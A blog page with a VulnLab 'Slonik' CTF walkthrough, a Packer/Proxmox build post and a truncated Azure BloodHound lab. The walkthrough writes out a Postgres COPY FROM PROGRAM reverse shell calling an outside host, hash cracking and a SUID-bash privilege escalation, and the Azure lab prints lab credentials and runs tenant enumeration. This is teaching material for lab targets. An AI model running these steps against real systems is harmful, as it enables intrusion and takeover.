Posts on Learning is a lifelong journey, best traveled with an open mind and a curious heart.

VulnLab - Slonik

Tue, 04 Feb 2025 17:09:09 +0800

Slonik is a Medium level Linux machine from VulnLab

Enumeration

We start by running nmap to see what ports are open and then work through these logically.

PORT      STATE SERVICE  REASON         VERSION
22/tcp    open  ssh      syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCg2ZwoeeTHpT0NE9y1kgjXCoLjxWI1WocvyxcphoTOikVc/BKLBjSRv3k5cnDz1O5EodAsYYJipkYxKxNXLcPY=
|   256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY88SdKd54ftUGvVdXkYtlmsHDrKGeGVgu6PykWXISO
111/tcp   open  rpcbind  syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      36917/tcp   mountd
|   100005  1,2,3      44438/udp6  mountd
|   100005  1,2,3      51292/udp   mountd
|   100005  1,2,3      56671/tcp6  mountd
|   100021  1,3,4      32859/tcp   nlockmgr
|   100021  1,3,4      43699/tcp6  nlockmgr
|   100021  1,3,4      56597/udp   nlockmgr
|   100021  1,3,4      58920/udp6  nlockmgr
|   100024  1          34401/udp   status
|   100024  1          35531/tcp   status
|   100024  1          44069/tcp6  status
|   100024  1          55774/udp6  status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp  open  nfs_acl  syn-ack ttl 63 3 (RPC #100227)
32859/tcp open  nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
35531/tcp open  status   syn-ack ttl 63 1 (RPC #100024)
36917/tcp open  mountd   syn-ack ttl 63 1-3 (RPC #100005)
37743/tcp open  mountd   syn-ack ttl 63 1-3 (RPC #100005)
58263/tcp open  mountd   syn-ack ttl 63 1-3 (RPC #100005)

SSH

We check to see if password login is enabled and can confirm that it is. We can come back and revisit this if we find some credentials later.

❯ ssh root@slonik.vl
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/     %@@@@@@@@@@.      @&             @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@   ############.    ############   ##########*  &@@@@@@@@@@@@@@@
@@@@@@@@@@@  ###############  ###################  /##########  @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################(  #########  @@@@@@@@@@@@
@@@@@@@@@  ############### (#########################  ######### @@@@@@@@@@@@
@@@@@@@@@ .##############  ###########################( #######  @@@@@@@@@@@@
@@@@@@@@@  ############## (        ##############        ######  @@@@@@@@@@@@
@@@@@@@@@. ############## #####   # .########### ##  ##  #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /########  ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@  ###########( #########, ############( ####  ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ #########  ##############  ##  #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ###########  #######  ################  / #  @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@  ############  ####  ###################    @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ##########  @@@      ################            (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .######  @@@@   ###  ##############  #######   @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@(  *   @. #######    ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@  #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  #############  @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  ###########  @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  #######*  @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(root@slonik.vl) Password:

RPC

The nmap scan and rpcinfo slonik.vl output show NFS services running, suggesting we can enumerate and mount NFS shares on this system.

NFS

Moving our focus to NFS, we are able to list shares

❯ showmount -e $IP
Export list for 10.10.70.64:
/var/backups *
/home        *

We have been able to mount both of those directories

❯ sudo mount -t nfs $IP:/var/backups backups -o nolock
[sudo] password for kali:

❯ ls backups
.rw-r--r--@  31k root 24 Oct  2023 apt.extended_states.0
.rw-r--r--@ 4.7M root  4 Feb 15:04 archive-2025-02-04T0704.zip

❯ sudo mount -t nfs $IP:/home home -o nolock

❯ ls home
drwxr-x--- - 1337 24 Oct  2023 service

The backup directory is creating a new file every 1 minute

We notice that the /home share has ownership for user 1337, so we created a user account with the same UID sudo useradd -u 1337 -M -s /bin/bash n3ph0s and we have been able to access the share

n3ph0s@kali:/home/kali/Hacking/VulnLab/Slonik/home/service$ ls -laR
.:
total 40
drwxr-x--- 5 n3ph0s n3ph0s 4096 Oct 24  2023 .
drwxr-xr-x 3 root   root   4096 Oct 24  2023 ..
-rw-rw-r-- 1 n3ph0s n3ph0s   90 Oct 24  2023 .bash_history
-rw-r--r-- 1 n3ph0s n3ph0s  220 Oct 24  2023 .bash_logout
-rw-r--r-- 1 n3ph0s n3ph0s 3771 Oct 24  2023 .bashrc
drwx------ 2 n3ph0s n3ph0s 4096 Oct 24  2023 .cache
drwxrwxr-x 3 n3ph0s n3ph0s 4096 Oct 24  2023 .local
-rw-r--r-- 1 n3ph0s n3ph0s  807 Oct 24  2023 .profile
-rw------- 1 n3ph0s n3ph0s  326 Oct 24  2023 .psql_history
drwxrwxr-x 2 n3ph0s n3ph0s 4096 Oct 24  2023 .ssh

./.cache:
total 8
drwx------ 2 n3ph0s n3ph0s 4096 Oct 24  2023 .
drwxr-x--- 5 n3ph0s n3ph0s 4096 Oct 24  2023 ..
-rw-r--r-- 1 n3ph0s n3ph0s    0 Oct 24  2023 motd.legal-displayed

./.local:
total 12
drwxrwxr-x 3 n3ph0s n3ph0s 4096 Oct 24  2023 .
drwxr-x--- 5 n3ph0s n3ph0s 4096 Oct 24  2023 ..
drwx------ 3 n3ph0s n3ph0s 4096 Oct 24  2023 share

./.local/share:
total 12
drwx------ 3 n3ph0s n3ph0s 4096 Oct 24  2023 .
drwxrwxr-x 3 n3ph0s n3ph0s 4096 Oct 24  2023 ..
drwx------ 2 n3ph0s n3ph0s 4096 Oct 24  2023 nano

./.local/share/nano:
total 8
drwx------ 2 n3ph0s n3ph0s 4096 Oct 24  2023 .
drwx------ 3 n3ph0s n3ph0s 4096 Oct 24  2023 ..

./.ssh:
total 16
drwxrwxr-x 2 n3ph0s n3ph0s 4096 Oct 24  2023 .
drwxr-x--- 5 n3ph0s n3ph0s 4096 Oct 24  2023 ..
-rw------- 1 n3ph0s n3ph0s   96 Oct 24  2023 authorized_keys
-rw-r--r-- 1 n3ph0s n3ph0s   96 Oct 24  2023 id_ed25519.pub

We have viewed the .psql_history and this contains hashed credentials that may be of use to use later if we are able to crack them.

n3ph0s@kali:/home/kali/Hacking/VulnLab/Slonik/home/service$ cat .psql_history
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)VALUES ('service', 'aaabf0d39951f3e6c3e8a7911df524c2'WHERE', network access account');
select * from users;
\q

We have been able to crack the hash hashcat hash /usr/share/wordlists/rockyou.txt -m 0

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

aaabf0d39951f3e6c3e8a7911df524c2:service

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: aaabf0d39951f3e6c3e8a7911df524c2
Time.Started.....: Tue Feb  4 15:18:29 2025 (0 secs)
Time.Estimated...: Tue Feb  4 15:18:29 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)

Continuing our enumeration, we also find the following in bash_history

n3ph0s@kali:/home/kali/Hacking/VulnLab/Slonik/home/service$ cat .bash_history
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit

Having fully enumerated the data that we have found specifically in the home directory, we have been able to authenticate and login to SSH with service:service but we are automatically disconnected

❯ ssh service@slonik.vl
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/     %@@@@@@@@@@.      @&             @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@   ############.    ############   ##########*  &@@@@@@@@@@@@@@@
@@@@@@@@@@@  ###############  ###################  /##########  @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################(  #########  @@@@@@@@@@@@
@@@@@@@@@  ############### (#########################  ######### @@@@@@@@@@@@
@@@@@@@@@ .##############  ###########################( #######  @@@@@@@@@@@@
@@@@@@@@@  ############## (        ##############        ######  @@@@@@@@@@@@
@@@@@@@@@. ############## #####   # .########### ##  ##  #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /########  ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@  ###########( #########, ############( ####  ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ #########  ##############  ##  #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ###########  #######  ################  / #  @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@  ############  ####  ###################    @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ##########  @@@      ################            (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .######  @@@@   ###  ##############  #######   @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@(  *   @. #######    ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@  #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  #############  @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  ###########  @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  #######*  @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(service@slonik.vl) Password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-1014-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Feb  4 07:18:51 UTC 2025

  System load:  0.0               Processes:             124
  Usage of /:   31.3% of 7.57GB   Users logged in:       0
  Memory usage: 23%               IPv4 address for ens5: 10.10.70.64
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Oct 24 13:11:33 2023 from 10.10.1.254
Connection to slonik.vl closed.

Initial Foothold

You will recall that we found that port 5432 (Postgres) was open in the bash_history and can pivot to that with the command ssh -L 5432:/var/run/postgresql/.s.PGSQL.5432 service@slonik.vl -N and we can confirm that has worked as we have been able to connect to the Postgres database

❯ psql -U postgres -h 127.0.0.1 -p 5432
psql (17.2 (Debian 17.2-1+b2), server 14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
Type "help" for help.

postgres=#

We check current database user and our permissions and note that we have Superuser permissions

postgres=# \du
                             List of roles
 Role name |                         Attributes
-----------+------------------------------------------------------------
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS

postgres=# select current_user, session_user;
 current_user | session_user
--------------+--------------
 postgres     | postgres
(1 row)

With superuser permissions we see if can use copy to read files, which has been successful

postgres=# SELECT pg_read_file('/etc/passwd', 0, (SELECT pg_relation_size('pg_authid')));
                                       pg_read_file
-------------------------------------------------------------------------------------------
 root:x:0:0:root:/root:/bin/bash                                                          +
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                          +
 bin:x:2:2:bin:/bin:/usr/sbin/nologin                                                     +
 sys:x:3:3:sys:/dev:/usr/sbin/nologin                                                     +
 sync:x:4:65534:sync:/bin:/bin/sync                                                       +
 games:x:5:60:games:/usr/games:/usr/sbin/nologin                                          +
 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin                                          +
 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin                                             +
 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin                                              +
 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin                                        +
 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin                                      +
 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin                                               +
 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin                                     +
 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin                                     +
 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin                            +
 irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin                                             +
 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin        +
 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin                               +
 systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin   +
 systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin             +
 messagebus:x:102:105::/nonexistent:/usr/sbin/nologin                                     +
 systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin+
 syslog:x:104:111::/home/syslog:/usr/sbin/nologin                                         +
 _apt:x:105:65534::/nonexistent:/usr/sbin/nologin                                         +
 tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false                              +
 uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin                                            +
 tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin                                        +
 sshd:x:109:65534::/run/sshd:/usr/sbin/nologin                                            +
 pollinate:x:110:1::/var/cache/pollinate:/bin/false                                       +
 landscape:x:111:116::/var/lib/landscape:/usr/sbin/nologin                                +
 fwupd-refresh:x:112:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin             +
 ec2-instance-connect:x:113:65534::/nonexistent:/usr/sbin/nologin                         +
 _chrony:x:114:121:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin                     +
 lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false                                       +
 postgres:x:115:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash             +
 _rpc:x:116:65534::/run/rpcbind:/usr/sbin/nologin                                         +
 statd:x:117:65534::/var/lib/nfs:/usr/sbin/nologin                                        +
 service:x:1337:1337:,,,,default password:/home/service:/bin/false                        +

(1 row)

We do some research to see how we could exploit this either by command execution or file write and we find an interesting article which talks about how we can use the copy command to get command execution. This proves to be successful in that we have been able to create a table and then pass in a reverse shell command.

postgres=# CREATE TABLE shell(output text);
CREATE TABLE
postgres=# COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.4.179 443 >/tmp/f';

With our listener, we have gotten a shell

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.8.4.179] from (UNKNOWN) [10.10.70.64] 47610
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)
$

After stabilizing our shell, we have found the user flag in /var/lib/postgresql/user.txt

Privilege Escalation

Before we start with manual enumeration, we download and run pspy64 from our machine to see what is happening in the background and the following stands out

2025/02/04 08:23:02 CMD: UID=0     PID=3421   | /bin/bash /usr/bin/backup
2025/02/04 08:23:03 CMD: UID=0     PID=3422   | /bin/bash /usr/bin/backup
2025/02/04 08:23:03 CMD: UID=0     PID=3423   | /bin/bash /usr/bin/backup

The following is the content of the /usr/bin/backup script

#!/bin/bash

date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/

count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
  /usr/bin/rm -rf /var/backups/*
fi

As anything that is in the main Postgres Directory is backed up we can copy /bin/bash to this directory and set SUID bit on it. When the job executes as root and it is copied across to /opt/backups/current it will have root ownership permissions and with SUID permissions we will be able to execute it with root privileges

postgres@slonik:/var/lib/postgresql/14/main$ cp /bin/bash badbash
postgres@slonik:/var/lib/postgresql/14/main$ chmod 4755 badbash

We wait for the background job to run, execute the binary and we are root

postgres@slonik:/opt/backups/current$ ./badbash -p
postgres@slonik:/opt/backups/current$ ./badbash -p
badbash-5.1# whoami
root

We have the flag and the machine is Pwned!

My Journey with Packer, Proxmox and Beyond

Mon, 25 Nov 2024 10:42:34 +0800

The Spark that Started it All

Like many of life’s journeys, it began with a conversation with a client about improving automation within their environment and the benefits that it would provide in the long term. During this conversation we were talking about the benefits of standardisation with regards to build processes and they mentioned they were considering moving to Proxmox from VMware ESXi.

I have been using Proxmox for several years for my home network / home lab and have been very happy with it as it “just works” and I have created several templates from Cloud Images which allow me to provision machines quickly.

I have used several tools from Hashicorp over the years and they generally work well, but Packer was not one of those that I had really given much attention to, so I decided that I would check it out and started with their version of “Hello World” and build a Docker Image which was very straight forward and worked.

First Steps: The Ubuntu Safety Net

My preferred Linux Distribution for Servers is Debian, but my client uses Ubuntu and it is well-documented, widely supported and it “just works” with Hashicorp Packer. I was able to get a build up in about 30 minutes that just worked.

The Debian Challenge: When Documentation Falls Short

Debian, my preferred server distribution, “how different could it be?”, after all Ubuntu is Debian-based. Oh how naive I was, with the first hurdle out of the gate, the preseed configuration.

Challenge #1: The Preseed Puzzle

Ubuntu’s automated installation was straightforward, but Debian’s preseed configuration felt like solving a cryptic crossword. The official documentation exists and is very thorough, but left many questions unanswered. After several failed builds and hours of debugging, it became evident that Debians philosphy of explicit configuration extends to the automated install process as well. Whilst this was initially frustrating, I must admit that I do prefer the power of this after the initial learning hurdle.

When you are building, whether this is in Proxmox, QEMU or Virtualbox, ensure that you disable headless mode and watch the console as the first time I was waiting about 15 minutes and it was at a prompt waiting for input which required changes to the preseed file.

Challenge #2: The Proxmox Dance

With the preseed file configured, the next challenge is ensuring that you have all the settings correct and special attention has to be paid with regards to Network and Storage configuration.

There are nuances between different providers, for example Proxmox and QEMU are happy with specifying disk size like 50G, but Virtual Box requires it to be a integer value in MBs.

  # VM General Settings
  vm_id          = "6000"
  vm_name        = "debian-12-minimal-template"
  template_description = "Debian 12 minimal template built with Packer"
  
  # VM OS Settings
  boot_iso {
    iso_file         = "local:iso/debian-12.7.0-amd64-netinst.iso"
    iso_storage_pool = "local"
  }

  # VM System Settings
  qemu_agent    = true
  scsi_controller = "virtio-scsi-pci"

  # VM Hard Disk Settings
  disks {
    disk_size         = "50G"
    format           = "raw"
    storage_pool     = "data_hdd"
    type             = "scsi"
  }

  # VM CPU Settings
  cores = "4"
  memory = "4096"

  # VM Network Settings
  network_adapters {
    model    = "virtio"
    bridge   = "vmbr0"
    firewall = false
  }

  # VM Cloud-Init Settings
  cloud_init = true
  cloud_init_storage_pool = "data_hdd"

These are not major obstacles, but just ensure that you understand the necessary virtual hardware configuration and make the appropriate adjustments.

Taking it Further

When I had it working with Proxmox, I decided to test it further and see if I could build it in QEMU and then VirutalBox, both of which had challenges as each of them has their own nuances which do need to be addressed, but with the foundation built from deploying on Proxmox, these were manageable.

Enter Ansible: Bringing Order to Chaos

I have been using Ansible for many years and already have a decent collection of playbooks and wanted to incorporate this into the builds to have baseline images that were fully customised and integrating Ansible with Packer was extremely straight-forward

provisioner "ansible" {
  playbook_file = "./playbooks/base.yml"
  extra_arguments = [
    "--extra-vars",
    "ansible_python_interpreter=/usr/bin/python3"
  ]
}

There is a lot more that can be done with Ansible and this is an area that I will personally be continually building out.

Lessons Learnt and Future Horizons

I am still very much in the early stages with Packer and will constantly be refining, enhancing and streamlining as my knowledge grows in this area, but these are the key lessons to date:

Documentation is a Starting Point, Not the Destination: Official documentation are invaluable, nothing beats hands on implementations that will often result in going down many rabbit holes, diving into the depths of system internals and hunting down obscure errors, but damn it is fun and you learn a LOT.
Platform Differences Matter: What works on one platform isn’t guaranteed to work and in some cases, may fail spectacularly in another. Understanding the differences is crucial and all part of the journey.
Automation is Key: This was a lesson I learnt nearly 30 years ago and it holds up even more so today. The more something is automated, the more consistent and reliable the builds are and reduces the opportunity for error of every manual step that is automated.
Community is King: Sharing knowledge and tapping into the experiences of others who have traveled the road before is important and contributing back to this knowledge base is a top priority.

Road Ahead

The current setup works well, but there’s always room for improvement and some areas that I will be exploring are:

Implementing a proper CI/CD pipeline for image builds
Adding automated testing for the built images
Creating a validation framework for configuration changes
Exploring multi-architecture support (I have tried building ARM image, but this is proving to be extremely challenging in QEMU on an Intel machine, but will keep chipping away at it)

Show me the Code!

I’ll be sharing the code at GitLab which will over time include:

Packer configurations for Proxmox and QEMU
Debian preseed file
Helper Scripts

Final Thoughts

The journey is as valuable as the destination and the skills you develop along the way are invaluable to all aspects of your life. Don’t be afraid to experiment, break things, enjoy the ride and most important take notes.

Pwned Labs - Azure Recon with BloodHound

Mon, 18 Nov 2024 17:43:03 +0800

Azure Recon with BloodHound

Scenario

After discovering that a public company GitHub repository contained accidentally committed credentials, Mega Big Tech has requested us to investigate the extent of potential exposure. They want to determine if these credentials can be used to access their cloud environment and if any confidential data is at risk.

Learning Outcomes

Setting up BloodHound
Collecting Azure data using AzureHound
Using BloodHound to get situational awareness
Enumerating custom security attributes using PowerShell
Accessing credentials in virtual machine user data

Real World Context

Gaining situational awareness of a network is vital for defenders. Tools like BloodHound offer a visual representation of Azure relationships and permissions, helping defenders identify potential attack paths, over-permissive configurations, and simulate attacker reconnaissance. This insight and purple team approach enables proactive defense and reduces the attack surface.

Entry Point

IAM User: Jose.Rodriguez@megabigtech.com
Password: Bigt3ch123!

Attack

One of the first things that we should do when we have gained access to an environment is to gain situational awareness to help orient ourselves and to understand what potential attack vectors may exist and the quote from John Lambert, Defenders think in lists. Attackers think in graphs. As long as this is true, attackers winsums this up beautifully. To help us understand the interconnectedness of systems, we shall use BloodHoundCE.

To setup, refer to the article Install BloodHound Community Edition with Docker Composefrom BloodHound Support which provides detailed instructions.

With Docker and Docker Compose Installed, run the command curl -L https://ghst.ly/getbhce | docker-compose -f - up -d

Once it has started, we need to run the command docker logs [container name] to get the password that we will use to login.

bloodhound_1  | {"level":"info","time":"2024-09-05T05:11:25.252284793Z","message":"# Initial Password Set To:    jDTqC9D5Aer8QjAVFnUc6OkR2jzCaUUO    #"}

We then navigate to http://localhost:8080/ui/login and login with username admin and the randomly generated password, we will be prompted to enter a new password.

Once we have logged in we then click on the cog in the top right of the page and select Download Collectors

We will select AzureHound and we can view the contents of the file with the command unzip -l azurehound-v2.2.1.zip showing a number ov versions for different Operating System architectures.

❯ unzip -l azurehound-v2.2.1.zip
Archive:  azurehound-v2.2.1.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2024-10-22 15:43   azurehound-darwin-amd64/
 11404928  2024-09-06 16:13   azurehound-darwin-amd64/azurehound
        0  2024-10-22 15:43   azurehound-darwin-arm64/
 11146178  2024-09-06 16:13   azurehound-darwin-arm64/azurehound
        0  2024-10-22 15:43   azurehound-linux-amd64/
 10510336  2024-09-06 16:13   azurehound-linux-amd64/azurehound
        0  2024-10-22 15:43   azurehound-linux-arm64/
  9895936  2024-09-06 16:13   azurehound-linux-arm64/azurehound
        0  2024-10-22 15:43   azurehound-windows-amd64/
 10869760  2024-09-06 16:13   azurehound-windows-amd64/azurehound.exe
        0  2024-10-22 15:43   azurehound-windows-arm64/
 10205184  2024-09-06 16:13   azurehound-windows-arm64/azurehound.exe
---------                     -------
 64032322                     12 files

We need to have the Tenant ID, so first we will authenticate to Azure to get that information and then we will run AzureHound

❯ az login -u Jose.Rodriguez@megabigtech.com -p 'Bigt3ch123!'
Authentication with username and password in the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. For more details, see https://go.microsoft.com/fwlink/?linkid=2276314
[
  {
    "cloudName": "AzureCloud",
    "homeTenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
    "id": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
    "isDefault": true,
    "managedByTenants": [],
    "name": "Microsoft Azure Sponsorship",
    "state": "Enabled",
    "tenantDefaultDomain": "megabigtech.com",
    "tenantDisplayName": "Default Directory",
    "tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
    "user": {
      "name": "Jose.Rodriguez@megabigtech.com",
      "type": "user"
    }
  }
]

We then run AzureHound to extract information and for detailed information the on the commands and options, refer to the Support Documentation

❯ ./azurehound -u Jose.Rodriguez@megabigtech.com -p 'Bigt3ch123!' --tenant '2590ccef-687d-493b-ae8d-441cbab63a72' list --output mbt-output.json
AzureHound v2.2.1
Created by the BloodHound Enterprise team - https://bloodhoundenterprise.io

No configuration file located at /home/kali/.config/azurehound/config.json
2024-11-18T13:21:22+08:00 INF collecting azure objects...
2024-11-18T13:21:23+08:00 INF finished listing all devices count=4
2024-11-18T13:21:23+08:00 INF finished listing all groups count=27
2024-11-18T13:21:23+08:00 INF finished listing all users count=78
2024-11-18T13:21:23+08:00 INF finished listing all device owners
2024-11-18T13:21:23+08:00 INF warning: unable to process azure management groups; either the organization has no management groups or azurehound does not have the reader role on the root management group.
2024-11-18T13:21:23+08:00 INF finished listing all management group role assignments
2024-11-18T13:21:23+08:00 INF finished listing all management group descendants
2024-11-18T13:21:23+08:00 INF finished listing all apps count=42
2024-11-18T13:21:23+08:00 INF finished listing all subscriptions count=1
2024-11-18T13:21:24+08:00 INF finished listing all subscription role assignments
2024-11-18T13:21:24+08:00 INF finished listing all subscription user access admins
2024-11-18T13:21:24+08:00 INF finished listing all resource groups
2024-11-18T13:21:24+08:00 INF finished listing all resource group role assignments
2024-11-18T13:21:24+08:00 INF finished listing all tenants count=2
2024-11-18T13:21:24+08:00 INF finished listing all virtual machine scale sets
2024-11-18T13:21:24+08:00 INF finished listing all vm scale set role assignments
2024-11-18T13:21:24+08:00 INF finished listing all managed clusters
2024-11-18T13:21:24+08:00 INF finished listing all managed cluster role assignments
2024-11-18T13:21:24+08:00 INF finished listing all group owners
2024-11-18T13:21:24+08:00 INF finished listing members for all groups
2024-11-18T13:21:24+08:00 INF finished listing all container registries
2024-11-18T13:21:24+08:00 INF finished listing all container registry role assignments
2024-11-18T13:21:24+08:00 INF finished listing all virtual machines
2024-11-18T13:21:24+08:00 INF finished listing all app owners
2024-11-18T13:21:24+08:00 INF finished listing all logic apps
2024-11-18T13:21:24+08:00 INF finished listing all logic app role assignments
2024-11-18T13:21:24+08:00 INF finished listing all virtual machine role assignments
2024-11-18T13:21:24+08:00 INF finished listing all automation accounts
2024-11-18T13:21:24+08:00 INF finished listing all automation account role assignments
2024-11-18T13:21:24+08:00 INF finished listing all function apps
2024-11-18T13:21:24+08:00 INF finished listing all function app role assignments
2024-11-18T13:21:25+08:00 INF finished listing all web apps
2024-11-18T13:21:25+08:00 INF finished listing all web app role assignments
2024-11-18T13:21:25+08:00 INF finished listing all roles count=114
2024-11-18T13:21:25+08:00 INF finished listing all role assignments
2024-11-18T13:21:27+08:00 INF finished listing all key vaults
2024-11-18T13:21:27+08:00 INF finished listing all key vault role assignments
